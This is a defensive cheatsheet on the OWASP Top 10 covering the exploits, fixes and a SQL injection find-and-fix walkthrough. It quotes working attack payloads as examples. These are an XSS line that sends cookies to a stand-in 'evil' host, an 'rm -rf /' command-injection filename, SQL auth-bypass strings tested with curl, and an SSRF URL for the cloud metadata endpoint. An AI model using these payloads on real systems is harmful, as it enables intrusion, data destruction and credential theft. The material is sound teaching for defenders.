← All cheatsheets

Security

Web App Security — the OWASP Top 10 in practice

The OWASP Top 10 (2021) as a working checklist: each risk, how it is actually exploited, and the defense that stops it — tuned for incident triage and interview recall.

Docs-checkedowaspweb-securityxsssql-injectioncsrf

Quick reference — reach for these first

Parameterizedb.query("… WHERE id = ?", [USER_ID])Kills SQL/command injection — bind values, never concatenate input into the query string.
Output-encodeescapeForContext(DATA) + CSP: default-src 'self'Stops XSS — encode for the exact sink (HTML/attr/JS/URL) and add a Content-Security-Policy.
Authorizeif (obj.ownerId !== session.userId) deny()Blocks broken access control / IDOR — check ownership on every object, server-side, deny by default.
Anti-CSRFSet-Cookie: sid=…; SameSite=Lax; Secure + per-req tokenStops cross-site forged state changes on cookie-authenticated routes.
SCA + patchnpm audit --production / pip-auditCloses known-CVE dependencies (A06) — scan in CI, pin, patch, drop unused deps.

Defense-in-depth: one request, five trust boundaries

Where each OWASP Top 10 defense sits along one requestA single request crosses five trust boundaries — browser, TLS transport, authentication edge, application logic, and data store. Each boundary carries a different OWASP risk and a different control: output encoding and CSP block XSS at the browser; TLS and HSTS block cryptographic failures in transport; server-side authorization and MFA block broken access control and auth failures at the edge; parameterized queries, CSRF tokens and an egress allowlist block injection, CSRF and SSRF in app logic; encryption and signature checks protect integrity at the store. A04 design, A05 config, A06 components and A09 logging apply across all five.attacker-controlled input →A03 · XSSA02 · CryptoA01/A07 · AccessA03·A10·CSRFA08 · Integrity1 · Browserrender2 · TLStransport3 · Auth edgesession4 · App logichandlers5 · Data storedb / filesoutput-encode+ CSPTLS + HSTSbcrypt/argon2authz checkMFA · deny-defaultparameterizetoken · allowlistencrypt at restverify signaturesMatch the symptom to the boundary it belongs to, then apply that boundary's control.Cross-cutting: A04 insecure design · A05 misconfiguration · A06 vulnerable components · A09 logging gaps apply at every boundary.

Text equivalent: A single request crosses five trust boundaries left to right: the browser, TLS transport, the authentication edge, application logic, and the data store. At each boundary a different OWASP Top 10 risk applies and a different defense blocks it. At the browser, A03 cross-site scripting is stopped by context-aware output encoding plus a Content-Security-Policy. In transport, A02 cryptographic failures are stopped by TLS, HSTS, and strong password hashing. At the authentication edge, A01 broken access control and A07 authentication failures are stopped by server-side authorization checks, MFA, and deny-by-default. In application logic, A03 injection, A10 SSRF, and CSRF are stopped by parameterized queries, anti-CSRF tokens, and an egress allowlist. At the data store, A08 integrity failures are stopped by encryption at rest and signature verification. Four risks — A04 insecure design, A05 misconfiguration, A06 vulnerable components, and A09 logging gaps — apply across all five boundaries.

Common tasks

Risk (OWASP) · How it is exploited · Defense

Risk (OWASP)How it is exploitedDefense
A01 Broken access control (IDOR)GET /api/invoices/1002 → change id to /1003, read another tenant's dataCheck the object's owner/role against the authenticated user on every access; deny by default; never trust client-supplied IDs
A02 Cryptographic failureslogin served over http://; password stored as md5(pw) → cracked offline from a dumpTLS everywhere + HSTS; hash passwords with bcrypt/argon2id; AES-GCM at rest; keep secrets out of code
A03 Injection — SQLusername: ' OR '1'='1'-- → auth bypass / full table dumpParameterized queries / prepared statements (or ORM value bindings); never string-concatenate input
A03 Injection — OS commandfilename: file.txt; rm -rf / passed into a shell execAvoid the shell; use execFile with an argument array + allowlist; no interpolation into a shell string
XSS (A03 — reflected/stored/DOM)comment: <img src=x onerror=fetch('//evil/'+document.cookie)>Context-aware output encoding + CSP; avoid innerHTML / dangerouslySetInnerHTML; set HttpOnly on session cookies
CSRF (state-changing forgery)attacker page auto-submits <form action=/bank/transfer method=POST> using the victim's cookieSameSite=Lax/Strict + Secure cookies, plus a per-request anti-CSRF token validated server-side; re-auth sensitive ops
A04 Insecure designpassword reset accepts a guessable 4-digit code with no rate limit → brute-forcedThreat-model the feature; design in rate limits, lockouts and abuse cases; add abuse-case tests, not just happy-path
A05 Security misconfigurationdefault admin:admin, /actuator exposed, verbose stack traces, directory listing onHarden defaults; disable debug/verbose errors in prod; least privilege; add security headers; review config in CI
A06 Vulnerable & outdated componentsapp ships log4j 2.14 → JNDI RCE via a crafted log string (Log4Shell)SCA in CI (npm audit / pip-audit / Dependabot); pin and patch promptly; remove unused dependencies
A07 Identification & auth failurescredential stuffing with no MFA; session id in the URL and never rotatedMFA, rate-limit and lock out login, strong password policy, rotate session on auth, short expiry + idle timeout
A08 Software & data integrity failuresuntrusted pickle/Java object deserialized → RCE; unsigned CI artifact swapped in supply chainNever deserialize untrusted data; verify signatures / SRI; use lockfiles and trusted registries; sign builds
A09 Security logging & monitoring gapsbrute-force and privilege change leave no trace; breach discovered months laterLog authn/authz/failures with context; alert on anomalies; make logs tamper-resistant; never log secrets or PII
A10 Server-side request forgery (SSRF)url=http://169.254.169.254/latest/meta-data/ → steal cloud instance credentialsAllowlist egress schemes+hosts; block private/link-local/metadata IPs; resolve-then-validate; disable redirects

Find and fix a SQL injection — concatenated query → parameterized → re-tested

find-and-fix SQL injection

1
Spot the vulnerable pattern — SQL built by string concatenation with request input
grep -rnE "SELECT .*(\" ?\\+|f\"SELECT)" src/
# auth.js:42  const q = "SELECT * FROM users WHERE user='" + name + "' AND pass='" + pw + "'"
2
Confirm it is exploitable — classic auth-bypass payload (test against your own local/staging app)
curl -s -X POST localhost:3000/login -d "user=admin'--&pass=x"
# 200 OK  {"token":"…"}   ← logged in as admin without knowing the password
3
Understand why — the quote closes the string and -- comments out the password clause
4
Fix — bind values with a parameterized query; input can no longer change the SQL structure
const q = "SELECT * FROM users WHERE user = ? AND pass = ?";
await db.query(q, [name, pw]);
5
Verify the exploit no longer works — re-run the exact same payload
curl -s -X POST localhost:3000/login -d "user=admin'--&pass=x"
# 401 Unauthorized   ← the whole string is treated as a literal username, no row matches
6
Regression-guard — add a test asserting the injection payload is rejected
test('rejects SQLi', () => expect(login("admin'--","x")).rejects.toThrow());
# PASS  injection payload rejected

Troubleshooting — symptom → first check → next check

SymptomFirst checkEstablishesNext check
XSS fires even though output is HTML-escapedWhere does the data actually land — HTML text, an HTML attribute, a <script>/JS context, a URL, or CSS?HTML-entity escaping only neutralizes the HTML-text context; attribute, JS-string, URL and CSS sinks each need their own encodingSwitch to context-aware encoding for the real sink and add a CSP; stop building DOM with innerHTML/dangerouslySetInnerHTML
A state-changing POST succeeds from a cross-site pageIs the session cookie SameSite=Lax/Strict, and is a per-request anti-CSRF token validated server-side on that route?A cookie auto-sent cross-site plus no token check is the classic CSRF holeSet SameSite + Secure, require and validate a CSRF token on every mutating route; for APIs prefer a header token over a cookie
Changing an id in the URL or body returns another user's recordDoes the handler verify the object's owner/role against the authenticated user before returning it?Access is enforced by the UI or by obscurity, not by a server-side per-object authorization checkAdd an ownership/role check on every object access, deny by default; treat unguessable ids as defense-in-depth, not the control
A URL / webhook / image-fetch feature can reach internal hostsIs the user-supplied URL validated after DNS resolution against an egress allowlist, with redirects disabled?The scheme/host is unconstrained, or validated before resolving (so DNS-rebinding bypasses the check)Allowlist schemes+hosts, block private/link-local and 169.254.169.254, resolve-then-validate, and disable following redirects
An API key or token is found in the JS bundle or mobile appGrep the built bundle for the key — is the secret used directly by the browser/client at all?Anything shipped to the client is public; a client-embedded secret is already compromisedRotate the leaked key now, move the call server-side behind your own auth, and issue short-lived scoped tokens instead
SQLi reported on a codebase that uses an ORMGrep for raw-query escape hatches — .raw(), queryRaw, or string-built WHERE / ORDER BY / column namesORMs bind values, but raw fragments and dynamic identifiers (column, sort direction) bypass that bindingParameterize the raw query; allowlist sortable columns and directions; never interpolate identifiers from input

References